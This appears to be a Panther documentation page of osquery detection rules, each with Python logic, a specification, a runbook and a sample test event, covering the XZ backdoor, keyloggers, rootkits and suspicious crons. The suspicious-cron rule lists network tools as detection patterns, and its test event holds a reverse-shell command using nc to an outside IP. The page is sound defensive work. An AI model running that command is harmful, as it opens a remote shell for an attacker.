Detection rules › Panther
Panther rules: osquery
A backdoored version of XZ or liblzma is vulnerable to CVE-2024-3094
#Detects vulnerable versions of XZ and liblzma on Linux and MacOS using Osquery logs. Versions 5.6.0 and 5.6.1 of xz and liblzma are most likely vulnerable to backdoor exploit. Vuln management pack must be enabled: https://github.com/osquery/osquery/blob/master/packs/vuln-management.conf
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Detection logic
QUERY_NAMES = {
"pack_vuln-management_homebrew_packages",
"pack_vuln-management_deb_packages",
"pack_vuln-management_rpm_packages",
}
VULNERABLE_PACKAGES = {"xz", "liblzma", "xz-libs", "xz-utils"}
VULNERABLE_VERSIONS = {"5.6.0", "5.6.1"}
def rule(event):
package = event.deep_get("columns", "name", default="")
version = event.deep_get("columns", "version", default="")
return all(
[
event.get("name") in QUERY_NAMES,
(package in VULNERABLE_PACKAGES or package.startswith("liblzma")),
any(version.startswith(v) for v in VULNERABLE_VERSIONS),
]
)
def title(event):
host = event.get("hostIdentifier")
name = event.deep_get("columns", "name", default="")
version = event.deep_get("columns", "version", default="")
return f"[CVE-2024-3094] {name} {version} Potentially vulnerable on {host}"
Rule specification
AnalysisType: rule
Filename: osquery_linux_mac_vulnerable_xz_liblzma.py
RuleID: "Osquery.Linux.Mac.VulnerableXZliblzma"
DisplayName: "A backdoored version of XZ or liblzma is vulnerable to CVE-2024-3094"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- MacOS
- Linux
- Emerging Threats
- Supply Chain Compromise
Reports:
MITRE ATT&CK:
- TA0001:T1195.001
Severity: High
Description: >
Detects vulnerable versions of XZ and liblzma on Linux and MacOS using Osquery logs.
Versions 5.6.0 and 5.6.1 of xz and liblzma are most likely vulnerable to backdoor exploit.
Vuln management pack must be enabled: https://github.com/osquery/osquery/blob/master/packs/vuln-management.conf
Runbook: Upgrade/downgrade xz and liblzma to non-vulnerable versions
Reference: https://gist.github.com/jamesspi/ee8319f55d49b4f44345c626f80c430f
SummaryAttributes:
- name
- hostIdentifier
- action
Stages and Predicates
Fires on Osquery.Differential events when all of the conditions below hold.
Condition
nameis one ofpack_vuln-management_homebrew_packages,pack_vuln-management_deb_packages,pack_vuln-management_rpm_packagesany of:
columns.nameis one ofxz,liblzma,xz-libs,xz-utilscolumns.namestarts withliblzma
any of:
columns.versionstarts with5.6.0columns.versionstarts with5.6.1
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
columns.name | in |
| field:"columns.name" kind:in |
columns.name | starts_with |
| field:"columns.name" kind:starts_with value:"liblzma" |
columns.version | starts_with |
| field:"columns.version" kind:starts_with |
name | in |
| field:"name" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
name | columns.name |
version | columns.version |
hostIdentifier |
Response runbook
Upgrade/downgrade xz and liblzma to non-vulnerable versions
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"columns": {
"name": "liblzma.so",
"source": "test-host",
"status": "Potentially vulnerable",
"version": "5.6.1.000"
},
"hostIdentifier": "test-host",
"name": "pack_vuln-management_rpm_packages"
}
A Login from Outside the Corporate Office
#A system has been logged into from a non approved IP space.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Detection logic
import ipaddress
# This is only an example network, but you can set it to whatever you'd like
OFFICE_NETWORKS = [
ipaddress.ip_network("192.168.1.100/32"),
ipaddress.ip_network("192.168.1.200/32"),
]
def _login_from_non_office_network(host):
host_ipaddr = ipaddress.IPv4Address(host)
non_office_logins = []
for office_network in OFFICE_NETWORKS:
non_office_logins.append(host_ipaddr in office_network)
return not any(non_office_logins)
def rule(event):
if event.get("action") != "added":
return False
if "logged_in_users" in event.get("name"):
# Only pay attention to users and not system-level accounts
if event.deep_get("columns", "type") != "user":
return False
elif "last" in event.get("name"):
pass
else:
# A query we don't care about
return False
host_ip = event.deep_get("columns", "host")
return _login_from_non_office_network(host_ip)
def title(event):
user = event.deep_get("columns", "user", default=event.deep_get("columns", "username"))
return (
f"User [{user if user else '<UNKNOWN_USER>'}"
f" has logged into production from a non-office network"
)
Rule specification
AnalysisType: rule
Filename: osquery_linux_logins_non_office.py
RuleID: "Osquery.Linux.LoginFromNonOffice"
DisplayName: "A Login from Outside the Corporate Office"
Enabled: false
LogTypes:
- Osquery.Differential
Tags:
- Configuration Required
- Osquery
- Linux
- Initial Access:Valid Accounts
Reports:
MITRE ATT&CK:
- TA0001:T1078
Severity: High
Description: A system has been logged into from a non approved IP space.
Runbook: Analyze the host IP, and if possible, update allowlist or fix ACL.
Reference: https://attack.mitre.org/techniques/T1078/
SummaryAttributes:
- name
- action
- p_any_ip_addresses
- p_any_domain_names
Stages and Predicates
Fires on Osquery.Differential events when the condition below holds.
Condition
actionisadded
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"added" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
user | columns.user |
Response runbook
Analyze the host IP, and if possible, update allowlist or fix ACL.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"columns": {
"host": "10.0.3.1",
"type": "user",
"user": "ubuntu"
},
"name": "pack/incident_response/logged_in_users"
}
AWS command executed on the command line
#An AWS command was executed on a Linux instance
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Execution |
Detection logic
import shlex
PLATFORM_IGNORE_LIST = {"darwin"}
def rule(event):
# Filter out irrelevant logs & systems
if (
event.get("action") != "added"
or "shell_history" not in event.get("name")
or event.deep_get("decorations", "platform") in PLATFORM_IGNORE_LIST
):
return False
command = event.deep_get("columns", "command")
if not command:
return False
try:
command_args = shlex.split(command)
except ValueError:
# "No escaped character" or "No closing quotation", probably an invalid command
return False
if command_args[0] == "aws":
return True
return False
def title(event):
return (
f"User [{event.deep_get('columns', 'username', default='<UNKNOWN_USER>')}] issued an"
f" aws-cli command on [{event.get('hostIdentifier', '<UNKNOWN_HOST>')}]"
)
Rule specification
AnalysisType: rule
Filename: osquery_linux_aws_commands.py
RuleID: "Osquery.Linux.AWSCommandExecuted"
DisplayName: "AWS command executed on the command line"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- Linux
- Execution:User Execution
Reports:
MITRE ATT&CK:
- TA0002:T1204
Severity: Medium
Description: An AWS command was executed on a Linux instance
Runbook: See which other commands were executed, and then remove IAM role causing the access
Reference: https://attack.mitre.org/techniques/T1078/
SummaryAttributes:
- name
- action
Stages and Predicates
Fires on Osquery.Differential events when all of the conditions below hold.
Condition
actionisaddednamecontainsshell_historydecorations.platformis not one ofdarwincolumns.commandis present
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
name | contains | shell_history | excludes:name field:"name" value:"shell_history" |
action | ne | added | excludes:action field:"action" value:"added" |
decorations.platform | eq | darwin | excludes:decorations.platform field:"decorations.platform" value:"darwin" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
columns.command | is_not_null | field:"columns.command" kind:is_not_null | |
name | contains |
| field:"name" kind:contains value:"shell_history" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
username | columns.username |
hostIdentifier |
Response runbook
See which other commands were executed, and then remove IAM role causing the access
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"columns": {
"command": "aws s3 ls",
"directory": "/home/ubuntu",
"uid": "1000",
"username": "ubuntu"
},
"name": "pack_incident-response_shell_history"
}
MacOS ALF is misconfigured
#The application level firewall blocks unwanted network connections made to your computer from other computers on your network.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment |
Detection logic
QUERIES = {"pack_incident-response_alf", "pack/mac-cis/ApplicationFirewall"}
def rule(event):
if event.get("name") not in QUERIES:
return False
if event.get("action") != "added":
return False
return (
# 0 If the firewall is disabled
# 1 If the firewall is enabled with exceptions
# 2 If the firewall is configured to block all incoming connections
int(event.deep_get("columns", "global_state")) == 0
or
# Stealth mode is a best practice to avoid responding to unsolicited probes
int(event.deep_get("columns", "stealth_enabled")) == 0
)
def title(event):
return f"MacOS firewall disabled on [{event.get('hostIdentifier')}]"
Rule specification
AnalysisType: rule
Filename: osquery_mac_application_firewall.py
RuleID: "Osquery.Mac.ApplicationFirewallSettings"
DisplayName: "MacOS ALF is misconfigured"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- MacOS
- Security Control
- Defense Evasion:Impair Defenses
Reports:
CIS:
- 2.6.3
- 2.6.4
MITRE ATT&CK:
- TA0005:T1562
Severity: High
Description: >
The application level firewall blocks unwanted network connections made to your
computer from other computers on your network.
Runbook: Re-enable the firewall manually or with configuration management
Reference: https://support.apple.com/en-us/HT201642
SummaryAttributes:
- name
- hostIdentifier
- action
Stages and Predicates
Fires on Osquery.Differential events when all of the conditions below hold.
Condition
nameis one ofpack_incident-response_alf,pack/mac-cis/ApplicationFirewallactionisaddedany of:
columns.global_stateis0columns.stealth_enabledis0
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"added" |
columns.global_state | eq |
| field:"columns.global_state" kind:eq value:"0" |
columns.stealth_enabled | eq |
| field:"columns.stealth_enabled" kind:eq value:"0" |
name | in |
| field:"name" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
hostIdentifier |
Response runbook
Re-enable the firewall manually or with configuration management
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"columns": {
"allow_signed_enabled": "0",
"firewall_unload": "0",
"global_state": "0",
"logging_enabled": "0",
"logging_option": "0",
"stealth_enabled": "0",
"version": "1.6"
},
"hostIdentifier": "test-host",
"name": "pack_incident-response_alf"
}
MacOS Keyboard Events
#A Key Logger has potentially been detected on a macOS system
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Collection |
Detection logic
from fnmatch import fnmatch
# sip protects against writing malware into the paths below.
# additional apps can be added to this list based on your environments.
#
# more info: https://support.apple.com/en-us/HT204899
APPROVED_PROCESS_PATHS = {
"/System/*",
"/usr/*",
"/bin/*",
"/sbin/*",
"/var/*",
}
APPROVED_APPLICATION_NAMES = {"Adobe Photoshop CC 2019"}
def rule(event):
if "Keyboard_Event_Taps" not in event.get("name", ""):
return False
if event.get("action") != "added":
return False
process_path = event.deep_get("columns", "path", default="")
if process_path == "":
return False
if event.deep_get("columns", "name") in APPROVED_APPLICATION_NAMES:
return False
# Alert if the process is running outside any of the approved paths
# TODO: Convert this fnmatch pattern below to a helper
return not any((fnmatch(process_path, p) for p in APPROVED_PROCESS_PATHS))
def title(event):
return f"Keylogger malware detected on [{event.get('hostIdentifier')}]"
Rule specification
AnalysisType: rule
Filename: osquery_mac_osx_attacks_keyboard_events.py
RuleID: "Osquery.Mac.OSXAttacksKeyboardEvents"
DisplayName: "MacOS Keyboard Events"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- MacOS
- Malware
- Collection:Input Capture
Reports:
MITRE ATT&CK:
- TA0009:T1056
Severity: Medium
Description: A Key Logger has potentially been detected on a macOS system
Runbook: Verify the Application monitoring the keyboard taps
Reference: https://support.apple.com/en-us/HT204899
SummaryAttributes:
- name
- hostIdentifier
- action
Stages and Predicates
Fires on Osquery.Differential events when all of the conditions below hold.
Condition
namecontainsKeyboard_Event_Tapsactionisaddedcolumns.pathis not""columns.nameis not one ofAdobe Photoshop CC 2019columns.pathdoes not match the pattern/System/*columns.pathdoes not match the pattern/usr/*columns.pathdoes not match the pattern/bin/*columns.pathdoes not match the pattern/sbin/*columns.pathdoes not match the pattern/var/*
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
columns.path | starts_with | /System/ | excludes:columns.path field:"columns.path" value:"/System/" |
columns.path | starts_with | /bin/ | excludes:columns.path field:"columns.path" value:"/bin/" |
columns.path | starts_with | /sbin/ | excludes:columns.path field:"columns.path" value:"/sbin/" |
columns.path | starts_with | /usr/ | excludes:columns.path field:"columns.path" value:"/usr/" |
columns.path | starts_with | /var/ | excludes:columns.path field:"columns.path" value:"/var/" |
columns.name | eq | Adobe Photoshop CC 2019 | excludes:columns.name field:"columns.name" value:"Adobe Photoshop CC 2019" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"added" |
name | contains |
| field:"name" kind:contains value:"Keyboard_Event_Taps" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
hostIdentifier |
Response runbook
Verify the Application monitoring the keyboard taps
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"columns": {
"name": "Siri",
"path": "/Users/johnny/Desktop/Siri.app/Contents/MacOS/Siri",
"pid": 100
},
"hostIdentifier": "test-host",
"name": "pack_osx-attacks_Keyboard_Event_Taps"
}
macOS Malware Detected with osquery
#Malware has potentially been detected on a macOS system
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Resource Development |
Detection logic
def rule(event):
if "osx-attacks" not in event.get("name", ""):
return False
# There is another rule specifically for this query
if "Keyboard_Event_Taps" in event.get("name", ""):
return False
if event.get("action") != "added":
return False
return True
def title(event):
return f"MacOS malware detected on [{event.get('hostIdentifier')}]"
Rule specification
AnalysisType: rule
Filename: osquery_mac_osx_attacks.py
RuleID: "Osquery.Mac.OSXAttacks"
DisplayName: "macOS Malware Detected with osquery"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- MacOS
- Malware
- Resource Development:Develop Capabilities
Reports:
MITRE ATT&CK:
- TA0042:T1588
Severity: Medium
Description: Malware has potentially been detected on a macOS system
Runbook: Check the executable against VirusTotal
Reference: https://github.com/osquery/osquery/blob/master/packs/osx-attacks.conf
SummaryAttributes:
- name
- hostIdentifier
- action
Stages and Predicates
Fires on Osquery.Differential events when all of the conditions below hold.
Condition
namecontainsosx-attacksnamedoes not containKeyboard_Event_Tapsactionisadded
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
name | contains | Keyboard_Event_Taps | excludes:name field:"name" value:"Keyboard_Event_Taps" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"added" |
name | contains |
| field:"name" kind:contains value:"osx-attacks" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
hostIdentifier |
Response runbook
Check the executable against VirusTotal
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"columns": {
"name": "Siri",
"path": "/Users/johnny/Desktop/Siri.app/Contents/MacOS/Siri",
"pid": 100
},
"hostIdentifier": "test-host",
"name": "pack_osx-attacks_Leverage-A_1"
}
Osquery Agent Outdated
#Keep track of osquery versions, current is 5.10.2.
Detection logic
LATEST_VERSION = "5.10.2"
def rule(event):
return (
event.get("name") == "pack_it-compliance_osquery_info"
and event.deep_get("columns", "version") != LATEST_VERSION
and event.get("action") == "added"
)
def title(event):
return f"Osquery Version {event.deep_get('columns', 'version')} is Outdated"
Rule specification
AnalysisType: rule
Filename: osquery_outdated.py
RuleID: "Osquery.OutdatedAgent"
DisplayName: "Osquery Agent Outdated"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- Compliance
Severity: Info
Description: Keep track of osquery versions, current is 5.10.2.
Runbook: Update the osquery agent.
Reference: https://www.osquery.io/downloads/official/5.10.2
SummaryAttributes:
- name
- hostIdentifier
- action
Stages and Predicates
Fires on Osquery.Differential events when all of the conditions below hold.
Condition
nameispack_it-compliance_osquery_infocolumns.versionis not5.10.2actionisadded
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"added" |
columns.version | ne |
| field:"columns.version" kind:ne value:"5.10.2" |
name | eq |
| field:"name" kind:eq value:"pack_it-compliance_osquery_info" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
version | columns.version |
Response runbook
Update the osquery agent.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"calendarTime": "Tue Sep 11 16:14:21 2018 UTC",
"columns": {
"build_distro": "10.12",
"build_platform": "darwin",
"config_hash": "1111",
"config_valid": "1",
"counter": "14",
"extensions": "active",
"global_state": "0",
"instance_id": "1111",
"pid": "223",
"resident_size": "54894592",
"start_time": "1536634519",
"system_time": "12472",
"user_time": "31800",
"uuid": "37821E12-CC8A-5AA3-A90C-FAB28A5BF8F9",
"version": "3.1.2",
"watcher": "92"
},
"counter": "255",
"decorations": {
"environment": "corp",
"host_uuid": "1111"
},
"epoch": "0",
"hostIdentifier": "test.lan",
"log_type": "result",
"name": "pack_it-compliance_osquery_info",
"unixTime": "1536682461"
}
OSQuery Detected SSH Listener
#Check if SSH is listening in a non-production environment. This could be an indicator of persistent access within an environment.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Lateral Movement |
Detection logic
def rule(event):
return (
event.get("name") == "pack_incident-response_listening_ports"
and event.deep_get("columns", "port") == "22"
and event.get("action") == "added"
)
Rule specification
AnalysisType: rule
Filename: osquery_ssh_listener.py
RuleID: "Osquery.SSHListener"
DisplayName: "OSQuery Detected SSH Listener"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- Lateral Movement:Remote Services
Reports:
MITRE ATT&CK:
- TA0008:T1021
Severity: Medium
Description: >
Check if SSH is listening in a non-production environment. This could be an indicator of persistent access within an environment.
Runbook: >
Terminate the SSH daemon, investigate for signs of compromise.
Reference: https://medium.com/uptycs/osquery-what-it-is-how-it-works-and-how-to-use-it-ce4e81e60dfc
SummaryAttributes:
- action
- hostIdentifier
- name
Stages and Predicates
Fires on Osquery.Differential events when all of the conditions below hold.
Condition
nameispack_incident-response_listening_portscolumns.portis22actionisadded
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"added" |
columns.port | eq |
| field:"columns.port" kind:eq value:"22" |
name | eq |
| field:"name" kind:eq value:"pack_incident-response_listening_ports" |
Response runbook
Terminate the SSH daemon, investigate for signs of compromise.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"calendarTime": "Tue Sep 11 16:14:21 2018 UTC",
"columns": {
"build_distro": "10.12",
"build_platform": "darwin",
"config_hash": "1111",
"config_valid": "1",
"counter": "14",
"extensions": "active",
"global_state": "0",
"instance_id": "1111",
"pid": "223",
"port": "22",
"resident_size": "54894592",
"start_time": "1536634519",
"system_time": "12472",
"user_time": "31800",
"uuid": "37821E12-CC8A-5AA3-A90C-FAB28A5BF8F9",
"version": "Not Supported",
"watcher": "92"
},
"counter": "255",
"decorations": {
"environment": "corp",
"host_uuid": "1111"
},
"epoch": "0",
"hostIdentifier": "test.lan",
"log_type": "result",
"name": "pack_incident-response_listening_ports",
"unixTime": "1536682461"
}
OSQuery Detected Unwanted Chrome Extensions
#Monitor for chrome extensions that could lead to a credential compromise.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Detection logic
def rule(event):
return "unwanted-chrome-extensions" in event.get("name") and event.get("action") == "added"
def title(event):
return f"Unwanted Chrome extension(s) detected on [{event.get('hostIdentifier')}]"
Rule specification
AnalysisType: rule
Filename: osquery_mac_unwanted_chrome_extensions.py
RuleID: "Osquery.Mac.UnwantedChromeExtensions"
DisplayName: "OSQuery Detected Unwanted Chrome Extensions"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- MacOS
- Malware
- Persistence:Browser Extensions
Reports:
MITRE ATT&CK:
- TA0003:T1176
Severity: Medium
Description: >
Monitor for chrome extensions that could lead to a credential compromise.
Runbook: Uninstall the unwanted extension
Reference: https://securelist.com/threat-in-your-browser-extensions/107181/
SummaryAttributes:
- action
- hostIdentifier
- name
Stages and Predicates
Fires on Osquery.Differential events when all of the conditions below hold.
Condition
namecontainsunwanted-chrome-extensionsactionisadded
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"added" |
name | contains |
| field:"name" kind:contains value:"unwanted-chrome-extensions" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
hostIdentifier |
Response runbook
Uninstall the unwanted extension
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"calendarTime": "Tue Sep 11 16:14:21 2018 UTC",
"columns": {
"build_distro": "10.12",
"build_platform": "darwin",
"config_hash": "1111",
"config_valid": "1",
"counter": "14",
"extensions": "active",
"global_state": "0",
"instance_id": "1111",
"pid": "223",
"port": "22",
"resident_size": "54894592",
"start_time": "1536634519",
"system_time": "12472",
"user_time": "31800",
"uuid": "37821E12-CC8A-5AA3-A90C-FAB28A5BF8F9",
"version": "Not Supported",
"watcher": "92"
},
"counter": "255",
"decorations": {
"environment": "corp",
"host_uuid": "1111"
},
"epoch": "0",
"hostIdentifier": "test.lan",
"log_type": "result",
"name": "pack_unwanted-chrome-extensions_pup1",
"unixTime": "1536682461"
}
OSQuery Reports Application Firewall Disabled
#Verifies that MacOS has automatic software updates enabled.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment |
Detection logic
def rule(event):
return (
"SoftwareUpdate" in event.get("name", [])
and event.get("action") == "added"
and event.deep_get("columns", "domain") == "com.apple.SoftwareUpdate"
and event.deep_get("columns", "key") == "AutomaticCheckEnabled"
and
# Send an alert if not set to "true"
event.deep_get("columns", "value") == "false"
)
Rule specification
AnalysisType: rule
Filename: osquery_mac_enable_auto_update.py
RuleID: "Osquery.Mac.AutoUpdateEnabled"
DisplayName: "OSQuery Reports Application Firewall Disabled"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- MacOS
- Security Control
- Defense Evasion:Impair Defenses
Reports:
CIS:
- 1.2
MITRE ATT&CK:
- TA0005:T1562
Severity: Medium
DedupPeriodMinutes: 1440
Description: >
Verifies that MacOS has automatic software updates enabled.
Runbook: >
Enable the auto updates on the host.
Reference: https://support.apple.com/en-gb/guide/mac-help/mchlpx1065/mac
SummaryAttributes:
- name
- action
- p_any_ip_addresses
- p_any_domain_names
Stages and Predicates
Fires on Osquery.Differential events when all of the conditions below hold.
Condition
namecontainsSoftwareUpdateactionisaddedcolumns.domainiscom.apple.SoftwareUpdatecolumns.keyisAutomaticCheckEnabledcolumns.valueisfalse
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"added" |
columns.domain | eq |
| field:"columns.domain" kind:eq value:"com.apple.SoftwareUpdate" |
columns.key | eq |
| field:"columns.key" kind:eq value:"AutomaticCheckEnabled" |
columns.value | eq |
| field:"columns.value" kind:eq value:"false" |
name | contains |
| field:"name" kind:contains value:"SoftwareUpdate" |
Response runbook
Enable the auto updates on the host.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"columns": {
"domain": "com.apple.SoftwareUpdate",
"key": "AutomaticCheckEnabled",
"value": "false"
},
"name": "pack/mac-cis/SoftwareUpdate"
}
OSSEC Rootkit Detected via Osquery
#Checks if any results are returned for the Osquery OSSEC Rootkit pack.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Detection logic
def rule(event):
return "ossec-rootkit" in event.get("name", "") and event.get("action") == "added"
def title(event):
return f"OSSEC rootkit found on [{event.get('hostIdentifier')}]"
Rule specification
AnalysisType: rule
Filename: osquery_ossec.py
RuleID: "Osquery.OSSECRootkitDetected"
DisplayName: "OSSEC Rootkit Detected via Osquery"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- Malware
- Defense Evasion:Rootkit
Reports:
MITRE ATT&CK:
- TA0005:T1014
Severity: Medium
Description: >
Checks if any results are returned for the Osquery OSSEC Rootkit pack.
Runbook: >
Verify the presence of the rootkit and re-image the machine.
Reference: https://panther.com/blog/osquery-log-analysis/
SummaryAttributes:
- name
- hostIdentifier
- action
Stages and Predicates
Fires on Osquery.Differential events when all of the conditions below hold.
Condition
namecontainsossec-rootkitactionisadded
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"added" |
name | contains |
| field:"name" kind:contains value:"ossec-rootkit" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
hostIdentifier |
Response runbook
Verify the presence of the rootkit and re-image the machine.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"calendarTime": "Tue Sep 11 16:14:21 2018 UTC",
"columns": {
"build_distro": "10.12",
"build_platform": "darwin",
"config_hash": "1111",
"config_valid": "1",
"counter": "14",
"extensions": "active",
"global_state": "0",
"instance_id": "1111",
"pid": "223",
"resident_size": "54894592",
"start_time": "1536634519",
"system_time": "12472",
"user_time": "31800",
"uuid": "37821E12-CC8A-5AA3-A90C-FAB28A5BF8F9",
"version": "3.2.6",
"watcher": "92"
},
"counter": "255",
"decorations": {
"environment": "corp",
"host_uuid": "1111"
},
"epoch": "0",
"hostIdentifier": "test.lan",
"log_type": "result",
"name": "pack_ossec-rootkit_pwned",
"unixTime": "1536682461"
}
Suspicious cron detected
#A suspicious cron has been added
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Execution |
Detection logic
import shlex
from fnmatch import fnmatch
SUSPICIOUS_CRON_CMD_ARGS = {
# Running in unexpected locations
"/tmp/*", # nosec
# Reaching out to the internet
"curl",
"dig",
"http?://*",
"nc",
"wget",
}
SUSPICIOUS_CRON_CMDS = {
# Passing arguments into /bin/sh
"*|*sh",
"*sh -c *",
}
def suspicious_cmd_pairs(command):
return any((fnmatch(command, c) for c in SUSPICIOUS_CRON_CMDS))
def suspicious_cmd_args(command):
command_args = shlex.split(command.replace("'", "\\'")) # escape single quotes
for cmd in command_args:
if any((fnmatch(cmd, c) for c in SUSPICIOUS_CRON_CMD_ARGS)):
return True
return False
def rule(event):
if "crontab" not in event.get("name"):
return False
command = event.deep_get("columns", "command")
if not command:
return False
return any([suspicious_cmd_args(command), suspicious_cmd_pairs(command)])
def title(event):
return f"Suspicious cron found on [{event.get('hostIdentifier', '<UNKNOWN_HOST>')}]"
Rule specification
AnalysisType: rule
Filename: osquery_suspicious_cron.py
RuleID: "Osquery.SuspiciousCron"
DisplayName: "Suspicious cron detected"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- Execution:Scheduled Task/Job
Reports:
MITRE ATT&CK:
- TA0002:T1053
Severity: High
Description: A suspicious cron has been added
Runbook: Analyze the command to ensure no nefarious activity is occurring
Reference: https://en.wikipedia.org/wiki/Cron
SummaryAttributes:
- action
- hostIdentifier
- name
Stages and Predicates
Fires on Osquery.Differential events when all of the conditions below hold.
Condition
namecontainscrontabcolumns.commandis presentany of:
columns.commandmatches the pattern*|*shcolumns.commandmatches the pattern*sh -c *
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
columns.command | is_not_null | field:"columns.command" kind:is_not_null | |
columns.command | wildcard |
| field:"columns.command" kind:wildcard |
name | contains |
| field:"name" kind:contains value:"crontab" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
hostIdentifier |
Response runbook
Analyze the command to ensure no nefarious activity is occurring
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"columns": {
"command": "nc -e /bin/bash 237.233.242.58 80",
"day_of_month": "*",
"day_of_week": "7",
"event": "",
"hour": "*",
"minute": "17",
"month": "*",
"path": "/etc/crontab"
},
"hostIdentifier": "test-host",
"name": "pack_incident-response_crontab"
}
Unsupported macOS version
#Check that all laptops on the corporate environment are on a version of MacOS supported by IT.
Detection logic
SUPPORTED_VERSIONS = [
"10.15.1",
"10.15.2",
"10.15.3",
]
def rule(event):
return (
event.get("name") == "pack_vuln-management_os_version"
and event.deep_get("columns", "platform") == "darwin"
and event.deep_get("columns", "version") not in SUPPORTED_VERSIONS
and event.get("action") == "added"
)
Rule specification
AnalysisType: rule
Filename: osquery_outdated_macos.py
RuleID: "Osquery.UnsupportedMacOS"
DisplayName: "Unsupported macOS version"
Enabled: true
LogTypes:
- Osquery.Differential
Tags:
- Osquery
- Compliance
Severity: Low
Description: >
Check that all laptops on the corporate environment are on a version of MacOS supported by IT.
Runbook: Update the MacOs version
Reference: https://support.apple.com/en-eg/HT201260
SummaryAttributes:
- name
- hostIdentifier
- action
Stages and Predicates
Fires on Osquery.Differential events when all of the conditions below hold.
Condition
nameispack_vuln-management_os_versioncolumns.platformisdarwincolumns.versionis not one of10.15.1,10.15.2,10.15.3actionisadded
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
columns.version | in | 10.15.1, 10.15.2, 10.15.3 | excludes:columns.version field:"columns.version" value:"10.15.1" field:"columns.version" value:"10.15.2" field:"columns.version" value:"10.15.3" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
